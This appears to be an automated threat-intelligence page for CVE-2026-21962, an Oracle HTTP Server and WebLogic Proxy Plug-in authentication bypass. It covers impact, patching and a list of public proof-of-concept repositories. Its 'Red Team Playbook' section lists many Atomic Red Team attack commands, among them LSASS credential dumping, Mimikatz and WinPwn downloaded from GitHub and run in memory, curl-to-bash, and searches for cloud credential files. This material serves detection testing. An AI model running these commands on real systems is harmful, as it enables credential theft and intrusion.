CVE-2026-21962
Overview
This vulnerability is an authentication bypass in the Oracle Weblogic Server Proxy Plug-in components for Apache HTTP Server and IIS. It arises from improper access control enforcement in the proxy plug-in, allowing unauthenticated network requests via HTTP to interact with internal server functions. The affected components include Oracle HTTP Server versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0, and Weblogic Server Proxy Plug-in versions 12.2.1.4.0 and 14.1.1.0.0.
Vulnerability Description
Vulnerability in the Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: Weblogic Server Proxy Plug-in for Apache HTTP Server, Weblogic Server Proxy Plug-in for IIS). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in. While the vulnerability is in Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in accessible data as well as unauthorized access to critical data or complete access to all Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in accessible data. Note: Affected version for Weblogic Server Proxy Plug-in for IIS is 12.2.1.4.0 only. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
Impact
An unauthenticated attacker with network access via HTTP can exploit this vulnerability to gain unauthorized creation, deletion, or modification privileges over critical data managed by Oracle HTTP Server and Weblogic Server Proxy Plug-in. No user interaction or prior authentication is required (CVSS: AV:N/AC:L/PR:N/UI:N). Exploitation can lead to complete access and control over all accessible data within these components, potentially affecting additional integrated products due to scope change. This compromises confidentiality and integrity of sensitive information.
Solution
Oracle has released security updates addressing this vulnerability in the January 2026 Critical Patch Update advisory (https://www.oracle.com/security-alerts/cpujan2026.html). Users should apply patches for Oracle HTTP Server versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0, as well as Weblogic Server Proxy Plug-in versions 12.2.1.4.0 and 14.1.1.0.0. The advisory provides detailed patch instructions and version-specific fixes. No alternate workarounds are documented; immediate patching is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Oracle HTTP Server and the Oracle Weblogic Server Proxy Plug-in represents a critical security flaw that allows unauthenticated attackers to gain unauthorized access to sensitive data and systems. This flaw is characterized by its ease of exploitation, requiring only network access via HTTP. The affected versions of the Oracle HTTP Server and its corresponding Proxy Plug-in for Weblogic Server create a significant risk for organizations utilizing these products, as it can lead to unauthorized creation, deletion, or modification of critical data. The implications of this vulnerability extend beyond the immediate product, potentially impacting other interconnected systems and applications, thereby broadening the attack surface.
Attack vectors for this vulnerability are particularly concerning due to the lack of authentication requirements. An attacker with network access can exploit the flaw without needing any credentials or prior access to the system. This opens up various exploitation scenarios, including remote code execution, data exfiltration, and the installation of malicious payloads. For instance, an attacker could craft specially designed HTTP requests to manipulate the server's behavior, leading to unauthorized access to sensitive information or even complete control over the server. Given the widespread use of the affected products in enterprise environments, the potential for mass exploitation is significant, especially if organizations fail to implement adequate security measures.
The real-world impact of this vulnerability is profound, as it poses a substantial business risk. Organizations relying on the Oracle HTTP Server and Weblogic Server Proxy Plug-in for critical operations may find themselves exposed to data breaches, loss of intellectual property, and regulatory penalties. The potential for unauthorized access to sensitive data can lead to reputational damage, loss of customer trust, and financial repercussions. Furthermore, the ability to manipulate or delete data can disrupt business continuity and lead to operational downtime, compounding the financial impact. As such, the risk associated with this vulnerability necessitates immediate attention from security teams within affected organizations.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating and patching the affected software versions is paramount to closing the security gap. Organizations should also implement robust network security measures, such as firewalls and intrusion detection systems, to monitor and restrict unauthorized access attempts. Conducting regular security assessments and penetration testing can help identify potential weaknesses and validate the effectiveness of existing security controls. Additionally, organizations should ensure that their incident response plans are updated to address potential exploitation scenarios, enabling them to respond swiftly and effectively in the event of an attack.
In conclusion, the vulnerability in the Oracle HTTP Server and Weblogic Server Proxy Plug-in represents a critical threat that requires immediate action from organizations utilizing these products. The ease of exploitation, coupled with the potential for significant real-world impact, underscores the importance of proactive security measures. By prioritizing patch management, enhancing network security, and preparing for incident response, organizations can mitigate the risks associated with this vulnerability and protect their critical assets from unauthorized access and manipulation.
Recent CSURFACE threat intelligence indicates a nuanced shift in the exploitation landscape of CVE-2026-21962. While our telemetry shows a significant reduction in detection activity, suggesting a possible decline in widespread scanning or opportunistic attacks, the availability of new proof-of-concept exploits on public platforms has expanded the toolkit accessible to threat actors. This paradoxical trend implies that although active exploitation attempts may have diminished temporarily, the barrier to entry for attackers has lowered, increasing the potential for targeted or sophisticated campaigns. The EPSS score’s modest increase, despite remaining low overall, reflects this evolving risk environment. For defenders, this means vigilance remains critical as adversaries may leverage these new exploits to bypass existing defenses or initiate stealthier intrusions. The current threat level should be viewed as persistent with a latent potential for escalation, underscoring the importance of continuous monitoring despite the apparent drop in detection signals.
Update 2 — June 21, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-21962, accompanied by a dramatic surge in the Exploit Prediction Scoring System (EPSS) metric. This sharp rise in EPSS, now placing the vulnerability in the 99th percentile, signals that adversaries are increasingly prioritizing this flaw for active exploitation. Concurrently, new proof-of-concept exploits have emerged across multiple public repositories, lowering the technical barriers for threat actors and expanding the pool of potential attackers capable of leveraging this vulnerability. Our telemetry indicates this trend is accelerating, reflecting a shift from theoretical risk to tangible, widespread exploitation attempts. For defenders, this evolution elevates the threat level from latent to imminent, underscoring the urgency of heightened detection and response capabilities. The vulnerability’s critical severity combined with the expanding exploit landscape significantly increases the likelihood of successful compromise in affected environments, particularly given the unauthenticated, network-accessible nature of the flaw. This update necessitates a reassessment of risk posture, as the window for opportunistic and targeted attacks has notably widened.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Oracle | Http Server | 12.2.1.4.0 |
cpe:2.3:a:oracle:http_server:12.2.1.4.0:*:*:*:*:*:*:*
|
|
|
Oracle | Http Server | 14.1.1.0.0 |
cpe:2.3:a:oracle:http_server:14.1.1.0.0:*:*:*:*:*:*:*
|
|
|
Oracle | Http Server | 14.1.2.0.0 |
cpe:2.3:a:oracle:http_server:14.1.2.0.0:*:*:*:*:*:*:*
|
|
|
Oracle | Weblogic Server Proxy Plug-In | 12.2.1.4.0 |
cpe:2.3:a:oracle:weblogic_server_proxy_plug-in:12.2.1.4.0:*:*:*:*:*:*:*
|
|
|
Oracle | Weblogic Server Proxy Plug-In | 14.1.1.0.0 |
cpe:2.3:a:oracle:weblogic_server_proxy_plug-in:14.1.1.0.0:*:*:*:*:*:*:*
|
|
|
Oracle | Weblogic Server Proxy Plug-In | 14.1.2.0.0 |
cpe:2.3:a:oracle:weblogic_server_proxy_plug-in:14.1.2.0.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
boroeurnprach/Ashwesker-CVE-2026-21962
CVE-2026-21962
|
boroeurnprach | 5 | 7 | 2026-01-22 | View |
|
samael0x4/CVE-2026-21962
Unauthenticated vulnerability that may allow remote attackers to compromise confidentiality and integrity, potentially l...
|
samael0x4 | 4 | 2 | 2026-01-22 | View |
|
ThumpBo/CVE-2026-21962
CVE-2026-21962-EXP
|
ThumpBo | 3 | 2 | 2026-01-26 | View |
|
George0Papasotiriou/CVE-2026-21962-Oracle-HTTP-Server-WebLogic-Proxy-Plug-in-Critical-
Oracle Fusion Middleware Oracle HTTP Server / WebLogic Server Proxy Plug-in has an easily exploitable, unauthenticated, ...
|
George0Papasotiriou | 3 | 0 | 2026-02-09 | View |
|
0xBlackash/CVE-2026-21962
CVE-2026-21962
|
0xBlackash | 1 | 1 | 2026-04-24 | View |
|
naozibuhao/CVE-2026-21962_Java_GUI_Exploit_Tool
|
naozibuhao | 1 | 0 | 2026-03-21 | View |
|
gregk4sec/CVE-2026-21962-o
CVE Finder
|
gregk4sec | 0 | 0 | 2026-02-03 | View |
|
gregk4sec/cve-2026-21962
|
gregk4sec | 0 | 0 | 2026-03-08 | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-21962 |
| oracle.com |
GitHub CVE
vendor-advisory
|
https://www.oracle.com/security-alerts/cpujan2026.html |
| github.com |
NVD API
Not Applicable
|
https://github.com/Ashwesker/Ashwesker-CVE-2026-21962/issues/1 |
| web.archive.org |
NVD API
|
https://web.archive.org/web/20260129165916/https://github.com/Ashwesker/Ashwesker-CVE-2026-21962/issues/1 |
| x.com |
NVD API
Not Applicable
|
https://x.com/0xacb/status/2015473216844620280 |